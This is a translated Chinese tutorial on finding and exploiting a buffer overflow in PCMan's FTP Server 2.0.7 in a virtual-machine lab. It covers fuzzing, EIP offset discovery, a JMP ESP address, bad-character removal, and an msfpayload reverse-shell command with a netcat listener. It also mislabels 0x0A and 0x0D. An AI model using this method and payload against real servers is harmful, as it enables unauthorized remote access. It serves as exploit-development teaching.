翻译:阻圣
稿费:200RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
本文将详细说明如何去找到一个简单的缓冲区溢出漏洞以及最终如何攻击服务获得一个反弹shell。有很多公开的漏洞可以被当做本文例子,不过我今天在exploit-db上发现PCMan’s FTP Server 2.0.7的三个缓冲区溢出漏洞,所以我就决定拿这个作为本文的例子。
准备工作
在开始之前,我们先需要准备一下工作环境。
Windows XP – SP3 Virtual Machine (Victim).
Kali Linux Virtual Machine (Attacker).
OllyDbg 安装在Windows XP上
PCMan’s FTP Server 2.0.7
除了上诉工具和环境外,你还需要
对x86 汇编语言有个基本的了解
对Python编程语言有个基本的了解
缓冲区溢出的基础知识
深入的去介绍缓冲区溢出不符合本篇文章,这里我只是介绍一下基础知识。当一个开发商不去检查用户输入的边界数据时就会发生缓冲区溢出。什么是缓冲区溢出呢?简单的来说,如果我们输入的数据长度超过了开发人员定义的缓冲区,那么这个数据就可以覆盖掉关键的寄存器,如EIP,EIP是指令寄存器,它存放当前指令的下一条指令的地址。如果它被来自用户输入的垃圾数据覆盖了,程序通常会崩溃,因为它跳转到的地址并尝试指向,但执行的并不是有效的指令。我们的目的就是要定制一个数据发送到程序覆盖EIP,使程序跳转到我们控制的位置,这样我们就可以执行shellcode了。下面看几张图帮助大家来理解。
典型的内存布局
攻击者输入超过用户缓冲区
开发人员正确处理-输入被截断,不能覆盖任何东西
开发人员错误处理-输入覆盖缓冲区和EIP,导致它跳转到无效的内存地址,程序崩溃。
攻击者定制输入的数据
攻击者定制输入数据,让EIP指向shellcode
安全圈有句老话,一切的用户输入都是有害的。只是有人因为信任用户的输入是正确的、是合理的值,这就是为什么产生了大量的漏洞的原因。
查找缓冲区溢出
了解完基础知识后,很明显我们现在要知道缓冲区溢出在哪里?这里我们就需要使用到模糊测试。现在我们需要发送不同长度和内容的自定义字符串到我们要测试的输入点,如果程序崩溃,你可以开心一下啦,我们就是要找程序崩溃的时候,然后来调查一下为什么会崩溃,可不可以利用。这里我们就以PCMan’s FTP Server 2.0.7为例子。
首先我们来测试一下用户名这个输入点有没有存在问题。这里我们用Python编写了一个Fuzzer程序。
运行我们的Fuzzer程序,发现发送到大约2000的时候挂起了,检查我们的FTP服务器,可以发现已经崩溃。
接下来我们就要来进一步研究一下,确认这错误是否可以利用,我们先关闭服务器,在重启它,这次我们使用OllyDbg来监视程序崩溃时寄存器的情况。
崩溃调查
打开OllyDbg附加FTP Server
我们按F9运行程序,再运行Fuzzer程序并等待程序崩溃,程序崩溃后我们不要关闭程序,这里注意看OllyDbg寄存器窗口已经暂停在崩溃时的值了。
我们可以发现EIP寄存器的值是41414141,新手应该看不懂这是什么吧,其实这就是A的十六进制,很明显EIP写入的地址是AAAA,程序去尝试执行内存地址0x41414141,因为这个地址是无效的,所以就崩溃了。这对于我们来说,肯定是个好消息啊,这意味着我们可以控制EIP啊,现在我们需要在EIP中覆盖四个字节,所以我们需要控制EIP。
控制EIP
首先我们使用Metasploit的pattern_create工具创建一个2100字节的字符串。为了简洁,简写了。
ruby /usr/share/metasploit-framework/tools/pattern_create.rb 2100
Aa0Aa1Aa2A.......Cr5Cr6Cr7Cr8Cr9
然后我们将这个字符串作为payload发送至服务器
再次重复上次步骤,来观察EIP
可以发现这次EIP寄存器的值是0x43386F43
现在我们使用Metasploit中的另一个工具pattern_offset来确定字节数
ruby /usr/share/metasploit-framework/tools/pattern_offset.rb 43386F43
[*] Exact match at offset 2004
现在我们知道了EIP被覆盖之前是2004个字节。
为了准确性,我们继续确认一下。
再次重复上次步骤观察EIP
可以发现EIP寄存器的值是0x42424242,成功的被我们用四个B覆盖了。
寻找Shellcode的位置
这里我们来介绍一个简单的方法,我们先来查看ESP指向哪里。在当前情况下,我们可以看见内存地址是0x0012EDB8
可以发现,我指向了一堆43的值,0x43恰恰是C的ASCII值。现在我们是要将C替换成我们希望运行的Shellcode。然后让EIP跳转到ESP寄存器的位置。
获得EIP to Jump
为什么我们不能告诉EIP去内存地址0x0012EDB8呢?因为这个地址在各个计算机上都不一样得,你不可能只想这个攻击只能攻击自己计算机吧。所以这里我们就要在程序的dll中找到具有JMP ESP命令的内存地址。这样我们就可以将EIP指向该位置,使其跳转到我们的缓冲区中。
让我们来看看有哪些dll加载到了这个程序。
上图是一个dll加载到程序的列表,这里我们选择SHELL32.dll进行搜索。现在要搜索JMP ESP命令。
返回的第一个结果是位于内存地址0x7C9D30D7,这个地址没有坏字符,我们可以来利用。坏字符是会破坏我们漏洞的字符,如0x00。
接下来我们在确认一下JMP ESP命令
重启OllyDbg和服务,这里我们先要设个断点。我们右键单击主程序中的空白区域,然后选择跳转到表达式,这里我们输入值7C9D30D7,这样我们就跳转到我们的返回地址JMP ESP了。我们按下F2设置断点。取消暂停OllyDbg,运行我们的Fuzzer程序。这里我们可以发现调试器已经暂停在我们的断点等待指令,F7进入下一个指令,可以发现我们已经跳转到一个长字符串INC EBX,换句话说,我们成功跳转到了我们的缓冲区。
识别坏字符
现在我们需要为我们的exploit创建一个shellcode来执行,但是这里有个问题,我们怎么知道什么命令有效?什么命令会导致程序怎么来执行?典型的一个例子就是空字节,空字节0x00表示字符串结束,这显然会影响我们的漏洞,当然不仅仅只有空字节,所以我们就要通过发送字符串数据来找到它们。如果字符串在特定的字符那里被截断或破坏,我们就知道这个字符对我们的漏洞产生了负面的影响。
然后我们来检查发生攻击后的堆栈
从上图中可以轻易发现,0x0A已经对我们的漏洞产生了影响,我们删除它,重新运行我们的程序。
然后我们再来看看发生攻击后的堆栈
又发现0x0D对我们的漏洞产生了影响,我们继续删除它,再运行测试程序。
可以发现没有坏字符了,这里我们找到了三个坏字符,它们分别是0x0D,0x0A和0x00。可以发现0x0A表示回车,0x0D表示换行,0x00表示字符串的结束,这样就很容易理解它们为什么是坏字符了。
定制Shellcode
我们已经找到了坏字符,我们知道我们的shellcode中不能包含这些字符,现在让我们来生成shellcode。这里我们没必要自己来写,强大的Metasploit帮助我们解决了问题。我们来使用msfpayload生成一个shellcode,当然我这边没升级,你要是最新版是没有msfpayload,而是msfvenom,用法基本上差不多,就不多做介绍了。
我们来检查一下shellcode,可以发现其中有0x00,我们在上面知道出现0x00、0x0A或0X0D都会破坏我们的payload。或者我们要告诉Metasploit不能使用那些字符。用下面命令试一下。
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 R | msfencode -b 'x00x0ax0d' -e x86/shikata_ga_nai -t python
接下来就是享受攻击的乐趣啦。
攻击进行时-编写exploit
经过上面的介绍,exploit编写很简单了,把shellcode和上面的fuzzer程序结合起来就行了。代码如下:
现在我们先来使用nc来监听443端口
nc -lvp 443
运行我们的exploit,然后等待一段时间
总结
一切很顺利啊,我们成功的获得了一个shell,当然这只是一个简单的例子,这里我在声明一下,本文仅做技术交流,请大家不要使用本文的exploit去攻击互联网上的PCMan’s FTP服务,大家可以使用VM虚拟机来学习一下。
发表评论
您还未登录,请先登录。
登录